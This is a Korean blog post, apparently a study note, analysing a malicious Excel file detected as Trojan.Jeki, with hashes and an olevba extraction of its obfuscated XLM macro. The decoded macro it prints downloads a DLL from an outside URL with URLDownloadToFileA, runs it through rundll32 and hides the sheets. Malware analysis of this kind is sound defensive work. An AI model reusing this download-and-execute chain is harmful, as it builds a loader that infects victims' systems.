이름 : SecuriteInfo.com.Trojan.Jeki.1.24075.17784
MD5 : 12a15bb618e039db7f49040998257fd9
SHA1 : 0d8bfab5e9c4424d2cd9e1ffb10568cd185c234f
SHA256 : 39ffaf6fffae305719541ae64b4bdcbe504068bdebdc6496f1a9fa2b02c37f20
SSDEEP : 6144:acPiTQAVW/89BQnmlcGvgZ7r3J8b5IYJK+nBoOhJ:RnOb
Anyrun에 있는 분석 보고서를 보면
해당 엑셀 파일이 실행되면 어떤 과정을 거친뒤 rundll32.exe 을 사용해서 특정 dll파일을 로드합니다.
특정 dll파일을 로드한다는 것은 그 전에 엑셀파일 자체에 있는 매크로를 통해서 악성 dll파일을 외부에서부터 가져와야 할것입니다.
악성코드 내에서 일어나는 네트워킹 기록을 보면 몇몇 사이트에 연결한 기록이 있기 때문에
매크로에서 외부로부터 악성 dll 파일을 가져오는 부분을 분석해야 할것입니다.
저는 OLE 파일에서 vba코드를 추출하기 위해서 ole-tools를 설치해서 사용했습니다.
여러 도구중에서 olevba를 사용해서 문서파일로부터 매크로를 추출해보면
위와 같은 결과가 나옵니다.
읽어보면 난독화로 인해서 정확하게 모든 코드를 이해하진 못하지만
매크로 자체적으로 파일이나 시스템을 실행시키고, DLL을 호출하는등의 행위를 하는것으로 분석되었고
발견된 xlm 매크로에 있는 이 부분을 보면, URLMon이라는 기능을 사용해서
https://parkisolutions.com/nerugin.dll 이라는 웹사이트 주소에서 dll 파일을 다운로드하는 코드로 파악됩니다.
실제로 nerugin.dll 이라는 dll파일은 여러 악성코드 분석과정에서 많이 발견되는 dll파일인것으로 파악되었습니다.
이 dll파일이 악성코드가 피해자 시스템에 실행시키는 dll로 파악되므로, 이 dll을 분석해봐야 할것입니다.
하지만 현재 해당 링크는 없어졌으므로, dl파일을 다운받아서 분석해보는 것은 불가능할것입니다.
그러므로 매크로 코드 분석을 정리해보면
3번째로 나온 매크로 코드는 위의 1,2번째 매크로 코드의 난독화를 최대한 풀어서 정리해놓은 코드인 것으로 파악됩니다.
2번째 코드를 파이썬으로 해당 사전데이터에 최대한 매칭시켜보면
다음과 같은 코드가 나오는데, 이 코드를 분석해보면
해당 부분의 코드가
이 부분의 코드와 사실상 같다는것으로 파악됩니다.
이 코드는 아래와 같이 나타낼수 있으며
CALL(""URLMon"",""URLDownloadToFileA"",""JJCCBB"",0,""https://parkisolutions.com/nerugin.dll"",""..\iofjgjfldnd.hde"",0,0)
이 코드의 기능은 URLDownloadToFileA 함수에 인자로 넣은 링크에서부터 파일을 다운로드받은뒤
상위 디렉토리에 iofjgjfldnd.hde 라는 이름으로 파일을 저장한다는 의미입니다.
그리고 코드에서는 Sheet3을 RUN으로 실행시킨다고 되어있는데 Sheet3의 코드를 계속 분석해볼것입니다.
위와 같은 코드를 사전데이터에 매칭시켜보면
다음과 같이 나오게 되는데, 아무래도 매크로에 더미코드가 특정패턴으로 나타나 있는것으로 확인되므로
더미코드 부분을 제외한뒤 매크로를 요약해보면
EXEC(rundll32 ..\iofjgjfldnd.hde,StartW)
WORKBOOK.HIDE("Sheet2",1.0))
WORKBOOK.HIDE("Sheet3",1.0))
WORKBOOK.HIDE("Sheet4",1.0))
RUN('Sheet2'!BB5)
위와 같이 요약해볼수 있습니다.
먼저 아까전에 다운로드 받았던 악성dll을 rundll32를 통해서 실행시킨뒤
Sheel2,Sheet3,Sheet4를 차례대로 숨긴뒤 Sheet2를 실행시키는데
Sheet2는 지금까지 매크로에 쓰인 사전데이터를 담고있는 시트입니다.
자세히 알진 못하지만, 난독화를 위해서 불필요하게 Sheet2에 사전데이터를 정의한뒤 매크로에 활용해서
최종적으로 위와 같은 매크로가 실행될수있게 만든것으로 파악됩니다.
이제 최종적으로 매크로 코드를 요약해보면 다음과 같습니다.
CALL(""URLMon"",""URLDownloadToFileA"",""JJCCBB"",0,""https://parkisolutions.com/nerugin.dll"",""..\iofjgjfldnd.hde"",0,0)
EXEC(rundll32 ..\iofjgjfldnd.hde,StartW)
WORKBOOK.HIDE("Sheet2",1.0))
WORKBOOK.HIDE("Sheet3",1.0))
WORKBOOK.HIDE("Sheet4",1.0))
RUN('Sheet2'!BB5)
특정 링크에서 악성DLL을 다운받은뒤 피해자 시스템에 저장한뒤
Rundll32를 통해서 악성DLL을 실행시킵니다. 그리고 부가적으로 악성 매크로가 있는 시트들은
전부다 보이지않게 처리를 해놓는것으로 마무리 하는것으로 분석됩니다.
Anyrun 분석보고서에서 나와있는 행위분석과 거의 동일한 과정인것으로 보아 어느정도 맞는것으로 판단됩니다.
'잡다한 보안 공부' 카테고리의 다른 글
문서형 악성코드 분석 공부 (CVE-2022-30190) (0) | 2023.01.10 |
---|---|
trust.exe 악성코드 분석 공부 (0) | 2022.11.24 |
iptime g104 exploit, ARM기반 공유기 익스플로잇 공부를 위한 가상환경 셋팅 (0) | 2022.11.12 |